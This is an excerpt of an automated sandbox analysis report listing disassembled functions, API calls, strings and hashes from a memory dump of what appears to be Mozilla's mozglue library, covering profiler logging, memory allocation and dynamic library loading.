Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

combase.dll, xrefs: 6C660F18
CoInitializeEx, xrefs: 6C660F36

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C660E9B
kernel32.dll, xrefs: 6C660E7D

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A9FDB
free.MOZGLUE(?,?), ref: 6C6A9FF0
free.MOZGLUE(?,?), ref: 6C6AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6AA0BE
free.MOZGLUE(?,?), ref: 6C6AA0D5
free.MOZGLUE(?,?), ref: 6C6AA0EB

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C69E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E04F

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C69E057

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction ID: 6776e6135ab9b708d99987a322afce9bb1f9f19acc909b9fde3328e2bb01d191
Opcode Fuzzy Hash: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction Fuzzy Hash: E721B074A0010A9FDF009F65D898AAEB7B5BF8A308F140429E90A97740DB31A919C7E9

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

UnmapViewOfFile2, xrefs: 6C6B7552
kernel32.dll, xrefs: 6C6B7557

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C6B75D1
ntdll.dll, xrefs: 6C6B75B3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

NtUnmapViewOfSection, xrefs: 6C6B7621
ntdll.dll, xrefs: 6C6B7603

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
